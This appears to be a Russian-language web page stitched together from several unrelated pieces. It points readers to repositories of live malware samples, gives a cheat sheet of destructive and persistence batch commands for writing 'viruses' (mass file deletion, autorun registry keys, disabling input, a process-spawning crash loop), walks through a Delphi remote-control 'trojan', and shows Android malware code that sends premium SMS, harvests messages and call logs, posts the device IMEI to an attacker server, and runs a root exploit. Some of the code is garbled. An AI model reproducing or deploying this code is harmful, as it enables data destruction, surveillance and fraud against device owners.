Образцы вирусов с исходным кодом. Образцы вирусов с исходным кодом Чем пишут трояны

Где скачать образцы вирусов с исходным кодом и подробным описанием?

Найти сборник актуальных вирусов, а уж тем более с описанием и исходниками — это задача не легкая. Мы уже рассказывали где для анализа и изучения. Сегодня я вам поведаю еще про один источник на котором можно найти и скачать но на этот раз не просто малварь найденная в сети, а исполнительные файлы и исходники вирусов с подробной информацией.

В этой статье вы узнаете о парочке интересных проектов, которые предлагают окунуться в мир исходного кода всевозможных троянов, ботнетов, стиллеров, червей и т.д.

  • Предисловие
  • Исходники вирусов
  • Проект theZoo
  • Проект Malware

Зачем и кому могут понадобиться образцы вирусов?

Исполняемые файлы и исходники вирусов могут понадобиться для анализа технологий используемых вредоносным ПО, для изучения поведения вирусов в системе (мониторинг файловой системы, процессов, ) и тестирования антивирусов. Сотрудники антивирусных компаний готовы платить деньги для получения исходников нового вируса.

Законно ли скачивать вирусы?

Скачивать образцы вирусов для изучения и анализа на своем компьютере вы можете, а вот распространять и заражать ими других — нельзя. Подробнее об этом в статье 273 УК РФ.

Цель этих проектов — дать специалистам антивирусных компаний и людям интересующихся анализом вирусов, разобраться в устройстве вредоносного кода малвари.

Внимание! Имейте ввиду, что скаченные файлы являются рабочими вирусами. Часть из них будут пытаться заразить ваш компьютер. Ни в коем случае не запускайте скачанные файлы на основном компьютере. Я также не рекомендую скачивать образцы вирусов без особых знаний анализа вредоносных программ.

В любом случае сайт www.сайт не несет никакой ответственности за любой вред нанесенный вами своим и чужим компьютерам.

Я настоятельно рекомендую использовать . Не забудьте про вредоносные черви которые будут пытаться распространиться и выбежать из виртуальной машины. Для избежания этого я советую отключать все гостевые дополнения виртуальных машин, доступ в сеть и т.д. Как это сделать вы можете узнать из ссылки выше.

Исходники вирусов: Проект theZoo

Начнем обзор с проекта theZoo, что переводится как зоопарк (с юмором у авторов все нормально). Находиться он в репозитории Githab.

Цель проекта сделать доступным изучение вирусов. Авторы собирают и обновляют базу вирусов. С помощью theZoo вы сможете получить доступ к популярным образцам вредоносного ПО.

Образцы вирусов: Проект theZoo

Для скачивания и изучения предлагается как исполняемый файл так и исходники.

Как пользоваться theZoo?

Использовать проект theZoo можно по разному: прямо с сайта или с помощью фреймворка. Мы рассмотрим оба способа. Начнем с первого.

Итак, переходим на сайт и видим несколько директорий и файлов.

Исполняемые файлы вирусов находятся в каталоге:

theZoo / malwares / Binaries /

В нем вы найдете исполняемый файл вирусов. Для каждого отдельного вредоноса — отдельная директория, в которой находятся 4 файла: само вредоносное ПО в зашифрованном виде в ZIP архиве, SHA256 и MD5 — контрольные суммы архива для сравнения и пароль для зашифрованного архива.


Исполняемые файлы вирусов: Троян Androrat

Исходный код вирусов находятся в каталоге:

theZoo / malwares / Source / Original /

В каждом каталоге четыре аналогичных файла. Все также как и с исполняемыми файлами.


Исходники вирусов: Троян Dendroid

Для каждого отдельного образца есть справка, но чтобы воспользоваться справкой необходимо установить фреймворк.

Для установки фреймворка theZoo используем команду:

git clone https://github.com/ytisf/theZoo

Требования: urllib2, python3

Команды: search, use, get, info, list all, report-mal, update-db, exit. Подробнее о командах с помощью команды help.

Итак, с этим проектом разобрались, теперь рассмотрим еще один.

Образцы вирусов: Проект Malware

Проект Malware тоже расположен на Githab. Выбор вирусов не такой большой как в зоопарке, но обновляется чаще. Среди небольшого количества вредосноных программ можно найти исходники троянов, ботнетов, вымогателей, стиллеров паролей и прочего «добра».

Вот список на сегодняшний день:

  • Alina Spark (Троян)
  • Bleeding Life 2 (Эксполит пак)
  • Carberp (Ботнет)
  • Carberp (Банковский троян)
  • Crimepack 3.1.3 (Эксплоит пак)
  • Dendroid (Троян для Андроид)
  • Dexter v2 (Троян)
  • Eda2, Stolich, Win32.Stolich (Вымогатель)
  • FlexiSpy (Шпионское ПО)
  • (Фреймворк)
  • GMBot (Android троян)
  • Gozi-ISFB — (Банковский троян)
  • Grum (Спам бот)
  • Hacking Team RCS ()
  • Hidden Tear (Вымогатель)
  • KINS (Банковский троян)
  • Mirai (Ботнет интернета вещей)
  • Pony 2.0 (Стилер паролей)
  • PowerLoader (Ботнет)
  • RIG Front-end (Эксплоит пак)
  • Rovnix (Буткит)
  • Tinba (Банковский троян)
  • TinyNuke (Банковский троян)
  • Trochilus, RedLeaves (RAT)
  • Zeus (Банковский троян)

Исходный код вирусов: проект Malware

Давайте к примеру зайдем в папку трояна Alina. Здесь нам предлагается несколько директорий, среди которых есть и исходники. Кроме того в нижней части авторами добавлены ссылки на информацию касающуюся вредоноса.

вот поеснения команд
assoc .exe=.mp3-Ексешники запускаются как музыка label E: pridurok-меняется винт на придурок time 00:00 -менять время
date 13.03.36-менять дату assoc .lnk=.txt-меняют ярлэчки в тхт файл copy %0 F:\Work.bat-копирование обьекта

1) Программа для удаления файлов с флешки (если та вставлена) и переименования ее.
del F:\ *.* /q
label F:HACK
2) Программа для изменения даты и времени на компьютере и копирования ее на диск C и на флешку.
time 14:13
date 11.07.12
copy %0 C:\Time.bat
copy %0 F:\Time.bat
----------
>nul-скрывать строку команду
%SystemRoot%/system32/rundll32 user32, SwapMouseButton-меняет местами клавиши мыши
---------------
copy «»%0″» «%SystemRoot%\system32\File.bat»
reg add «HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run» /v «Filel» /t REG_SZ /d «%SystemRoot%\system32\File.bat» /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f
Очень жестокая команда: добавляет программу в автозагрузку ОС.
«del x:\y *.* /q» - удалит все файлы на диске х в папке у (кроме папок) (пример del F:\Data*.* /q);
«net user «х» /add» - добавит на компьютер пользователя под именем х (пример net user «Smoked» /add);
«@echo off» вводиться в начале нашего вируса и скрывает все
rundll32 user,disableoemlayer - сбой системы (!) - выключить все функции ввода-вывода (клавиатура, дисплей, мышь). В результате будет черный экран с курсором и ни на что не реагирующая система, однако Windows продолжает работать.
del *.* /q (после запуска этой команды все файлы кроме папок которые были в той папке где был запущен вирус удалатся!!!
md 1-создания папок
Для запуска файла во время загрузки Windows, переименуйте файл в Autoexec.bat
Echo Virus Loading-надпись на экран вирус лодин
del c:Program Files/q (удаляет все файлы из этой папки)
reg - непосредственная работа с реестром. Смотреть reg /? всем!
rcp - обмен файлами через rcp в ascii
runas - от имени пользователя
tasklist - отображает приложения и сеансы, связанные с ним.
taskkill - позволяет завершить один или несколько процессов
tftp - trivial ftp
tskill - убить процесс
reg - утилита взаимодействия с реестром
bootcfg - настройка boot.ini
append - позволяет открывать удаленные файлы так, словно они находятся в текущем.
getmac - получить мас
logoff - Заверщить пользовательский сеанс.
mem - вывод на экран сведений о текущих процессах в ОЗУ
mqbkup - архивирование
netsh - ??
openfiles - просмотреть открытые файлы.
rsh - выполнение команд на удаленных узлах с запущеной rsh
sc - command line ??
rexec - выполнение команд на удаленных узлах с запущеной rexec
shutdown - выключить (хе-хе) local or remote computer.
systeminfo - вывод инфы о компе.
schtasks - планировщик заданий.
xcopy - копирование файлов и каталогов.
tsshutdn - завершение работы сервера в установленом порядке.
set - вывод, задание и удаление переменных среды cmd.exe. Свойства системы (пр.кн.”мой комп”) - дополнительно - Переменные среды. Там не все переменные, но много! Все смотреть просто set.
Кстати, вот некоторые RunDLL команды, которые могут использоваться при создании батников

rundll32 user,wnetdisconnectdialog
Окно “Отключение сетевого диска” Вызвать

rundll32 user,disableoemlayer
Сбой пpовоциpовать

rundll32 user,repaintscreen
Обновить (как)

rundll32 user,setcursorpos
Maus-Cursor слева ввеpх посадить

rundll32 diskcopy,DiskCopyRunDll
Окно “Copy Disk” вызвать

rundll32 rnaui.dll,RnaWizard /1
Диалог “Установка Связи” вызвать (/1 = без окна)

rundll32 shell,shellexecute
Explorer-Окно откpыть в коpневом каталоге

rundll32 shell32,OpenAs_RunDLL
Окно “Откpыть с помощью…” вызвать***

rundll32 shell32,SHFormatDrive
Окно “Фоpматиpование: Диск3,5(А)” вызвать

rundll32 shell32,ShellAboutA
Info-Box (о Windows) вызвать

rundll32 shell32,SHExitWindowsEx 0
Windows 98 заново стаpтанyть (без autoexec.bat и дp.)

rundll32 shell32,SHExitWindowsEx 1
Работy с Windows 98 закончить

rundll32 shell32,SHExitWindowsEx 2
Windows-98-PC boot

rundll32 shell32,SHExitWindowsEx -1
Windows-98-Explorer стаpтанyть заново

rundll32 shell32,Control_RunDLL
Откpыть окно “Панель yпpавления”

rundll32 shell32,Control_RunDLL desk.cpl
Откpыть “Свойства Экpана”

rundll32 shell32,Control_RunDLL main.cpl
Откpыть Modul-Панели yпpавления из MAIN.CPL **

rundll32 krnl386.exe,exitkernel
выход из Windows без любых сообщений/вопpосов

rundll32 user,swapmousebutton
“Пеpеставить” клавиши мыши *

rundll32 keyboard,disable
“Отключить” клавиатypy *

rundll32 mouse,disable
“Отключить” мышь *

rundll rnaui.dll,RnaDial “пpовайдеp”
Вызвать окно “Установка связи” с именем “пpовайдеp”

rundll32 user,tilechildwindows
выстpоить все не свёpнyтые окна свеpхy вниз

rundll32 user,cascadechildwindows
выстpоить все не свёpнyтые окна каскадом

rundll32 sysdm.cpl,InstallDevice_Rundll
(единств. возможность в W98) yстановить non-Plug&Play обоpyдование

rundll32 msprint2.dll,RUNDLL_PrintTestPage
выбpать в появившемся меню пpинтеp и послать а него тест

rundll32 user,setcaretblinktime
yстановить новyю частотy мигания кypсоpа *

rundll32 user, setdoubleclicktime
yстановить новyю скоpость двойного нажатия *

rundll32 setupx.dll,InstallHinfSection
DefaultInstall 130; C:\file.inf
окно “Пеpезапyск системы. Пpоизвести её сейчас? ъ Да/нет ъ” ****

ASSOC - Отображает или модифицирует связи расширений файлов
AT - Планирует команды и программы для выполнения на компьютере.
ATTRIB - Отображает или изменяет атрибуты файла.
BREAK - Устанавливает или отменяет проверку комбинации .
CACLS - Отображает или модифицирует списки управления доступом (ACLs) для файлов.
CALL - Вызывает один *.BAT-файл из другого.
CD - Отображает имя или изменяет имя текущей директории.
CHCP - Отображает или устанавливает номер активной кодовой страницы.
CHDIR - Отображает имя или изменяет имя текущей директории.
CHKDSK - Проверяет диск и отображает отчет о состоянии.
CLS - Очищает экран.
CMD - Стартует новый экземпляр интерпретатора команд Windows NT.
COLOR - Устанавливает цвета по умолчанию для переднего и заднего плана консоли.
COMMAND - Стартует новую копию интерпретатора команд Windows.
COMP - Сравнивает содержимое двух файлов или установки файлов.
COMPACT - Отображает или видоизменяет сжатие файлов на патрициях Windows NT(NTFS).
CONVERT - Конвертирует FAT томов к формату файловой системы Windows NT(NTFS). Вы не можете конвертировать текущий диск.
COPY - Копирует один или больше файлов на другое место.
CTTY - Изменяет терминальное устройство, используемое для управления вашей системой.
DATE - Отображает или устанавливает дату.
DEL - Удаляет один или более файлов.
DEBUG - Выполняет отладку, тестирование программ и редактирование инструментальных средств.
DIR - Отображает список файлов и поддиректорий в директории.
DISKCOMP - Сравнивает содержимое двух дискет.
DISKCOPY - Копирует содержимое одной дискеты на другую.
DOSKEY - Редактирует командные строки, восстанавливает команды Windows и создает макрос.
ECHO - Отображает сообщения, или включает/выключает вывод команд.
EMM386 - Включает/выключает поддержку расширенной памяти EMM386.
ENDLOCAL - Заканчивает локализацию изменений окружающей среды в *.BAT-файле.
ERASE - Удаляет один или более файлов.
EXIT - Прекращает выполнение программы (интерпретатор команд).
EXTRACT - Средство извлечения информации из CAB - файлов.
FC - Сравнивает два файла или установки файлов, и отображает различие между ними.
FIND - Ищет текстовую строку в файле или файлах.
FINDSTR - Поиск строк в файлах.
FOR - Выполняет указанную команду для каждого файла в наборе файлов.
FORMAT - Форматирует диск для использования с Windows.
FTYPE - Отображает или модифицирует типы файлов, используемых в связях расширений.
GOTO - Направляет интерпретатор команд Windows NT к помеченной строке в *.BAT-файле.
GRAFTABL - Способность Windows отображать символы псевдографики, вставленные в графическом режиме.
HELP - Обеспечивает информацию Help для команд Windows.
IF - Выполняет обработку условия в *.BAT-файле.
KEYB - Конфигурирует клавиатуру для заданного языка.
LABEL - Создает, изменяет, или удаляет метку тома на диске.
LOADHIGH(LH) - Загружает программу в верхние адреса памяти.
MD - Создает директорию.
MEM - Отображает величину используемой и свободной памяти в вашей системе.
MKDIR - Создает директорию.
MODE - Конфигурирует системное устройство.
MORE - Отображает вывод одного экрана за раз.
MOVE - Перемещает один или более файлов из одной директории в другую на том же диске.
NETSTAT - Отображает статистики протоколов и текущих сетевых соединений TCP/IP.
NLSFUNC - Загружает информацию, специфическую для страны.
PATH - Отображает или устанавливает путь поиска для выполняемых файлов.
PAUSE - Приостанавливает обработку *.BAT-файла и отображает сообщение.
POPD - Восстанавливает предыдущее значение текущей директории, сохраненной по PUSHD.
PRINT - Печатает текстовый файл.
PROMPT - Изменяет подсказку к командам Windows.
PUSHD - Сохраняет текущую директорию, потом изменяет.
RD - Удаляет директорию.
RECOVER - Восстанавливает читаемую информацию с плохого или дефектного диска.
REM - Записывает комментарии (примечания) в *.BAT-файлы или CONFIG.SYS.
REN - Переименует файл или файлы.
RENAME - Переименует файл или файлы.
REPLACE - Заменяет файлы.
RESTORE - Восстанавливает файлы, которые были архивированы с использованием команды BACKUP.
RMDIR - Удаляет директорию.
SET - Отображает, устанавливает или удаляет переменные среды Windows.
SETLOCAL - Начинает локализацию изменений среды в *.BAT-файле.
SETVER - Устанавливает номер версии MS-DOS, который Windows сообщает программе.
SHIFT - Сдвигает позицию замещаемых параметров в *.BAT-файле.
SMARTDRV - Инсталлирует и конфигурирует утилиту кэширования диска SMART - драйва.
SORT - Сортирует входной поток.
START - Стартует отдельное окно для выполнения указанной программы или команды.
SUBST - Связывает путь с литерой диска.
SYS - Копирует файлы системы MS-DOS и интерпретатор команд на указанный вами диск.
TIME - Отображает или устанавливает системное время.
TITLE - Устанавливает заголовок окна для сеанса.
TREE - Графически отображает структуру директория в драйве или путь.
TYPE - Отображает содержимое текстового файла.
VER - Отображает версию Windows.
VERIFY - Сообщает Windows, проверять ли правильность записи файлов на диск.
VOL - Отображает метку дискового тома и серийный номер.
XCOPY - Копирует файлы и деревья директории.

Ну а если хочешь “убить” Windows то:
@echo off
start explorer
start explorer
start explorer
start explorer - повторить ещё раз 100 и прописать в автозагрузку.

Если Вам интересно посмотреть, как пишутся «Программы сервер – клиент» и как они работают на реальном примере, предлагаю прочитать пост до конца. Будет интересно!

Пример программы я решил писать на Delphi! Так как, это проще и хорошо подходит для маленького, но реального примера. Что касается грозного слова «» которое я упомянул выше, то тут, получается действительно, самый настоящий троян, но с малым и безобидным функционалом.

Вы узнаете, по какому принципу пишутся «» и как они работают изнутри! Но, есть одно «НО» Трояны не пишут, так как – это будет описано ниже. Поскольку в нашем примере, «Серверная » часть программы будет много весить (Это не приемлемо для реального трояна ), и мы не будет её скрывать в системе. В реальном, «Вредоносном ПО» дела обстоят немного по другому.

Серверную часть программы стараются разработать с малым размером, ну примерно «100 КБ» Плюс — минус сколько-то КБ. И скрывают её в системе, так, что искать её придется долго!…

Но все ровно, принцип разработки один! И данный пример идеально подойдёт для понимания, как работаю программы по принципу «Сервер — Клиент» Просто у нас не правильный тон разработки трояна, а оно нам надо? Правильно. НЕТ!!! Мы же хорошие ребята и хулиганить не собираемся!

Как работают программы по принципу «Сервер – Клиент»

Просто и в двух словах картина выглядит вот так: Вы на своём компьютере запускаете «Клиентскую » часть программы, как правило, она имеет «GUI» то есть интерфейс пользователя (Если клиент не консольный)

На компьютере, к которому вы желаете получить доступ, запускается «Серверная » часть программы, она же открывает определённый порт на чужом компьютере и не видна в системе.

Через этот порт происходит соединения, Вы в клиенте указываете порт и IPадрес компьютера, на котором запущен сервер, подключаетесь к серверу и можете спокойно выполнять какие-то действия на чужом ПК со своего компьютера! Ещё можно прочитать мой прошлый пост и узнать:

Надеюсь, что здесь объяснил, вроде как понятно и простым человеческим языком! Если что-то не ясно, дальше, на примере все станет ясно! Далее давайте определимся, какие действия буду выполняться на удалённом ПК вследствие работы нашего маленького трояна!

Какой функционал в данном примере программы Сервер – Клиент.

Честно сказать, на этом этапе, когда размышлял, что бы показать я как-то замешкался и не как не мог придумать, что-то интересное! В общем пусть будет функционал из одной возможности и до жути простой:

— Пользователь будет получать Ваше сообщение.

Не вижу смысла добавлять какие-то другие возможности. Так как, считаю, что для примера и понимание этого вполне достаточно. Так же, думаю, не стоит писать много кода, то, что имеется ниже, то же достаточно, что бы посмотреть на программу изнутри!

А за место сообщение может быть все что угодно, зависит от фантазии человека решившего написать троян и от его знаний в программировании.

Ну, а у нас будет такой прикол! Человек, сидя за компьютером, неожиданно получит сообщение, например

«Привет, я шастаю по твоему компу »

представляете реакцию человека? Думаю это смешно, было бы увидеть его выражение лица!!!

Разработка программы по принципу «Сервер – Клиент»

Приступаем к самому интересному! И начнём мы с разработки самого «Сервера » после чего напишем под него клиент! Я не буду объяснять код программы, просто, буду приводить примеры, все же у меня не блог по программированию, да и цель поста показать поэтапно процесс разработки подобных программ по типу «Сервер – Клиент»

Разработка Сервера!

Изначально, нужно научить «Сервер» открывать какой-то порт на компьютере, дабы в дальнейшем иметь возможность подключиться к нему из «Клиента» а уже после научим принимать команды и выполнять какие-то действия на ПК.

Откроем порт следующим кодом, который до боли прост:

Delphi/Pascal

procedure TForm1.FormCreate(Sender: TObject); begin ServerSocket1.Port:= 666; ServerSocket1.Active:= true; end;

procedure TForm1 . FormCreate (Sender : TObject ) ;

begin

ServerSocket1 . Port : =666 ;

ServerSocket1 . Active : =true ;

end ;

Теперь если запустить программу появится просто, пустое окно без всяких кнопок и прочих элементов. И самое главное, на компьютере будет открыт порт с номером «666» Именно на этот порт в дальнейшем будем отправлять команды на сервер, и он в свою очередь будет их обрабатывать.

А пока убедимся, что сервер работает и порт открыт, вспоминаем команду «netstat» и смотрим результат.

Как видим на компьютере, вследствие запуска нашей программы действительно был открыт порт с номером «666» Это говорит только ободном, программа работает, и пришла пора научить «Сервер » принимать сообщение.

Delphi/Pascal

procedure TForm1.ServerSocket1ClientRead(Sender: TObject; Socket: TCustomWinSocket); var komm:string; Begin komm:=socket.ReceiveText; if copy(komm,1,12) = "MESSAGE_TEXT" then begin Delete(komm, 1, 12); ShowMessage(komm); end; end;

procedure TForm1 . ServerSocket1ClientRead (Sender : TObject ;

Socket : TCustomWinSocket ) ;

komm : string ;

Begin

komm := socket . ReceiveText ;

if copy (komm , 1 , 12 ) ="MESSAGE_TEXT" then

begin

Delete (komm , 1 , 12 ) ;

ShowMessage (komm ) ;

end ;

end ;

Тут дела обстоят следующие образом! Если серверу придёт команда с названием «MESSAGE_TEXT» (Название может быть любое ) то сработает процедура «ShowMessage» и покажет сообщение, которое пришло вмести с командой и хранится в строковой переменной «komm»

Соответственно текст сообщение будем набирать в «Клиенте » и он может быть любого содержание!

В прочем, на этом разработка «Серверной » части закончена. В итоге у нас получился файлик «Server.exe » и пока отложим его в сторону до того момента пока не напишем «Клиент »

Разработка Клиента!

Клиент у нас будет по понятным причинам с графическим интерфейсом пользователя (GUI) и должен иметь элементы управление, кнопки и поля ввода. У меня получился вот такой вид программы:

Определимся со всеми элементами! Хотя и так понят но, как говорится, на всякий случай поясню.

IP : Поля для ввода IPкомпьютера, где запущен сервер.
Port : Указываем номер порта на котором висит сервер.
— Подключится : Кнопка для подключения к серверу.
— Текст сообщение : Поле для ввода сообщение, которое нужно отправить.
— Отправить сообщение… : Соответственно кнопка для отправки сообщение.
— Статус соединение : Тут мы узнаем, подключились или нет!

Delphi/Pascal

procedure TForm1.Button1Click(Sender: TObject); begin ClientSocket.Host:= IP.Text; ClientSocket.Port:= StrToInt(Port.Text); ClientSocket.Open; end;

procedure TForm1 . Button1Click (Sender : TObject ) ;

begin

ClientSocket . Host : =IP . Text ;

ClientSocket . Port : =StrToInt (Port . Text ) ;

ClientSocket . Open ;

end ;

Можно уже прям сейчас, запустить программу, и попробовать подключиться к «Серверу » но мы не узнаем результат, подключились или нет. Перед проверкой исправим это и научим программу показывать результат соединение.

Delphi/Pascal

procedure TForm1.ClientSocketConnect(Sender: TObject; Socket: TCustomWinSocket); begin Label4.Caption:= ("Удалось выполнить подключение к: " + IP.Text); Label4.Font.Color:= clGreen; end;

И на тот случай, если все токи не удалось подключиться к серверу, например потому-что «Сервер » на удалённом ПК не запущен и соответственно порт «666» закрыт.

Delphi/Pascal

Procedure TForm1.ClientSocketError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer); begin if ErrorCode = 10061 then begin ClientSocket.Active:= False; Label4.Font.Color:= clRed; Label4.Caption:= ("НЕУдалосьвыполнитьподключениек:" + IP.Text); ErrorCode:= 0; end; end;

procedure TForm1 . ClientSocketError (Sender : TObject ; Socket : TCustomWinSocket ;

ErrorEvent : TErrorEvent ; var ErrorCode : Integer ) ;

begin

If ErrorCode =10061 then

begin

ClientSocket . Active : =False ;

Label4 . Font . Color : =clRed ;

Label4 . Caption : =("НЕУдалосьвыполнитьподключениек:" +IP . Text ) ;

ErrorCode : =0 ;

end ;

end ;

Теперь смотрим, как работает программа. Для начала запускаем клиент, но не запускаем сервер, что бы проверить, будет ли выведено сообщением о том, что подключится, не удалось.

В коллекции вредоносных Android-приложений некоторых антивирусных лабораторий содержится уже более 10 миллионов образцов. Эта цифра будоражит воображение, но примерно 9 миллионов 995 тысяч из них - переименованные копии оригинальных вирусов. Но если проанализировать исходный код оставшихся нескольких тысяч образцов малвари, то можно заметить, что все они комбинируются из небольшого количества уникальных функциональных блоков (несколько видоизмененных и по-разному скомбинированных).

Все дело в том, что вирмэйкеры чаще всего преследуют весьма тривиальные задачи:

  • отправить эсэмэску на платный номер;
  • завладеть конфиденциальной информацией пользователя (телефонными номерами, текстами сообщений, данными с SD-карты и так далее);
  • собрать данные о зараженном устройстве;
  • завладеть администраторскими правами на устройстве (для установки приложений без разрешения владельца или для злонамеренного выведения аппарата из строя);
  • отследить логины, пароли и данные платежных карт, которые пользователь вводит на сайтах систем интернет-банкинга. 
Как они это делают? Попробуем проникнуть в мрачный мир мобильного вирмэйкинга и посмотреть, что там происходит.

Отправка SMS

Кто использует:

  • AdSms;
  • FakePlayer;
  • HippoSms.

Самым распространенным типом вирусов являются SMS-трояны. Эти вирусы просто отправляют сообщения на платные номера без согласия пользователя. Создать такую программу или переписать готовую под нужный номер совсем легко. Да и процесс получения выгоды предельно упрощен - в отличие, например, от отслеживания банковских данных.

Далее приведен простейший пример кода. Это элементарная функция отправки SMS. Ее можно усложнить проверкой статуса отправки, выбором номеров в зависимости от места положения абонента и последующим удалением SMS.

Private static SendSms (String DestNumber, String SmsText) { // Попытка запуска метода sendTextMessage объекта SmsManager (стандартная программа для отправки SMS у текущего устройства) с минимальным количеством параметров: номер получателя и текст сообщения try{ SmsManager.getDefault().sendTextMessage(DestNumber,null,SmsText,null,null); return true; } }

Где искать код вируса

В абсолютном большинстве случаев заражение телефона происходит через установку приложений. Любое приложение для Android существует в виде файла с расширением apk, который, по сути, является архивом. Просмотреть его содержимое можно с помощью Android SDK, конвертера файлов APK в JAR и декомпилятора Java-байт-кода. Сборка приложения (APK) состоит из следующих частей:

  • resources.arsc - таблица ресурсов;
  • res (папка) - собственно ресурсы (иконки и прочее);
  • META-INF (папка) - содержит файлы со следующим содержимым: контрольные суммы ресурсов, сертификат приложения и описание сборки APK;
  • AndroidManifest.xml - всякого рода служебная информация. В том числе разрешения (permission), которые приложение запрашивает перед установкой для своей корректной работы;
  • classes.dex - ты наверняка слышал, что в Android операционных системах весь код выполняется с помощью Dalvik virtual machine (начиная с версии 4.4 появляется поддержка ART), которая не понимает обычный Java-байт-код. Поэтому и существуют файлы с расширением dex. В нем, наряду с нужными и полезными классами (которые отвечают за функционал приложения), содержатся также и вредоносные (вирусный код, который мы разбираем в этой статье).

Запись пользовательской информации в текстовый файл

Кто использует:

  • NickySpy;
  • SmsSpy.

Существует категория вирусов, которая охотится за персональными данными пользователей. Механизм их действия также несложен. Они либо загружают на сервер своего создателя файлы юзера, либо предварительно собирают какие-либо данные в txt (CSV, XML - не принципиально). Интерес для злоумышленников могут представлять контакты любого типа, сообщения из разных мессенджеров, медиафайлы и прочее.

SMS зараженных юзеров особенно ценны номерами телефонов отправителей и получателей - ими можно пополнить базу для спам-рассылок. Реже вирусы такого рода используются для заражения устройств конкретных личностей - в следующий раз, когда твоя девушка предложит тебе протестировать написанное ей (ай, карамба! - Прим. ред.) приложение на Android, не теряй бдительности:).

// Считаем количество SMS на устройстве arrayOfObject = (Object)localBundle.get("pdus"); int j=arrayOfObject.length; // Обходим по циклу каждую SMS i=1 while (true) { if(i>=j) break; // Создаем объект SMS-сообщение SmsMessage localSmsMessage=SmsMessage.createFrompdu((byte)arrayOfObject[i]); // Кладем в строковые переменные номер отправителя, текст и время отправки SMS String MessageNumber = localSmsMessage.getOriginatingAddress(); String MessageText = localSmsMessage.getDisplayMessageBody(); long l= localSmsMessage.getTimestampMillis(); Date localDate=new Date(l); String MessageTimeDate = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(localDate); // Формируем из полученных данных строку и записываем ее в текстовый файл пользовательским методом WriteRec String MessageInfo= 7MessageNumber+"#"+ MessageText+"#"+ MessageTimeDate+";" WriteRec(paramContext,"sms.txt",MessageInfo); // Переходим к следующему сообщению i+=1; } Также спам-лист удобно пополнять из истории вызовов абонента. Вот такой код может запускаться при входящем звонке: If (parmIntent.getAction().equals("android.intent.action.NEW_OUTGOING_CALL")) { // Кладем в переменную номер абонента String phonenumber=paramIntent.getStringExtra("android.intent.extra.PHONE_NUMBER"); // Формируем строку из номера и даты звонка String PhoneCallRecord= phonenumber +"#"+getSystemTime(); // Вызываем метод WriteRec() (его код здесь не приводится), который добавляет строку в текстовый файл с историей звонков WriteRec(paramContext,"phonecall.txt", PhoneCallRecord); }

После того как информация записана, она переправляется в «нужные руки». Приведенный ниже код загружает историю звонков на сервер:

Private void uploadPhonecallHistory() throws IDException { while(true) { return; // Проверяем, есть ли нужный нам файл if(!fileIsExists(/data/data/spyapp.pg/files/phonecall.txt")) continue; // Создаем объект - загрузчик файлов UploadFiles localUploadFiles=new UploadFiles(); String uploadkeynode=getKeyNode("uid","uid_v"); // Запускаем метод.advanceduploadfile (его код здесь не приводится) для загрузки файла на сервер «вирусмейкера» localUploadFiles.advanceduploadfile(uploadkeynode,"/data/data/spyapp.pg/files/phonecall.txt"); } }

Сбор информации

Кто использует:

  • DroidKungFu;
  • DroidDream;
  • подавляющее большинство малвари всех аналогичных.

В принципе, любому вирусмейкеру полезна информация о зараженных его программами устройствах. Получить ее очень просто. Создается массив с данными о свойствах телефона (их полный список можно посмотреть в руководстве Android-разработчика) и отправляется POST-запросом к PHP-скрипту (язык непринципиален) на сервере злоумышленника, тот обрабатывает данные и помещает их в базу данных для последующего использования.

Private void reportState(int paramInt, string paramString) { // Создаем массив и кладем в него служебную информацию ArrayList UserInformation=new ArrayList(); UserInformation.add(new BasicNameValuePair("imei", this.mImei)); UserInformation.add(new BasicNameValuePair("taskid", this.mTaskId)); UserInformation.add(new BasicNameValuePair("state", Integer.toString(paramInt))); // Если у функции определен параметр «paramString(комментарий)», кладем в массив и его if(paramStrng !=null)&&(!"".equals(paramString))) UserInformation.add(new BasicNameValuePair("comment", paramString)); // Создаем HTTP POST запрос с адресом скрипта, который осуществляет сбор данных HttpPost localHttpPost = new HttpPost("http://search.virusxxxdomain.com:8511/search/rtpy.php"); try { // Добавляем в запрос наш массив с данными и выполняем его с помощью стандартного HTTP-клиента localHttpPost.setEntity(new UrlEncodeFormEntity(UserInformation, "UTF-8"))); new DefaultHttpClient().execute(localHttpPost).getStatusLine.getStatusCode(); return; } }

Рутинг

Кто использует:

  • DroidKungFu;
  • DroidDream;
  • RootSmart.

Одна из самых неприятных вещей, которая может произойти с Android-устройством, - это его рутинг вирусом. Ведь после этого зловредная программа может делать с ним что угодно: устанавливать другие вирусы, менять настройки аппаратного обеспечения. Совершается это действо путем последовательного запуска эксплойтов:

Private void RootFunc() { ApplicationInfo localApplicationInfo =getApplicationInfo(); /*"ratc" - это копия знаменитого root-эксплойта Rage Against The Cage. Kiall - остановка всех процессов, запущенных текущим приложением. Gjsvro - эксплойт для приобретения прав udev (используются в Linux-системах для расширенной работы с аппаратным обеспечением и сетевыми интерфейсами). Все это копируем в нужное место */ Utils.copyAssets(this,"ratc","/data/data"+localApplicationInfo.packageName + "/ratc"); Utils.copyAssets(this,"killall","/data/data"+localApplicationInfo.packageName + "/killall"); Utils.copyAssets(this,"gjsvro","/data/data"+localApplicationInfo.packageName + "/gjsvro"); //И запускаем с помощью командной строки Utils.oldrun("/system/bin/chmod", "4755 /data/data"+localApplicationInfo.packageName + "/ratc"); Utils.oldrun("/system/bin/chmod", "4755 /data/data"+localApplicationInfo.packageName + "/killall"); Utils.oldrun("/system/bin/chmod", "4755 /data/data"+localApplicationInfo.packageName + "/gjsvro"); new MyTread.start(); }

Сайты о мобильной малвари

Блог экспертов компании Kasperskiy Lab Этот ресурс содержит качественные и подробные статьи о многих аспектах компьютерной безопасности, в том числе и об Android-вирусах. Стоит регулярно посещать этот сайт, чтобы быть в курсе последних событий.

Группа посвящена open source инструменту для всевозможных манипуляций с кодом Android-приложений (декомпиляция и модификация DEX/ODEX/APK файлов и так далее). Androguard также содержит обширную базу статей про вирусы. Помимо кратких обзоров функционала и методов защиты, встречаются подробные анализы кода малвари.


Раздел Mobile Threats на www.fortiguard.com Энциклопедии телефонных вирусов. Каждая статья - обзор функционала, приправленный значительным количеством технических деталей. Помимо информации об угрозах для операционной системы Android, есть статьи и про вирусы для Symbian OS, iOS и других платформ.


Защита от вирусов

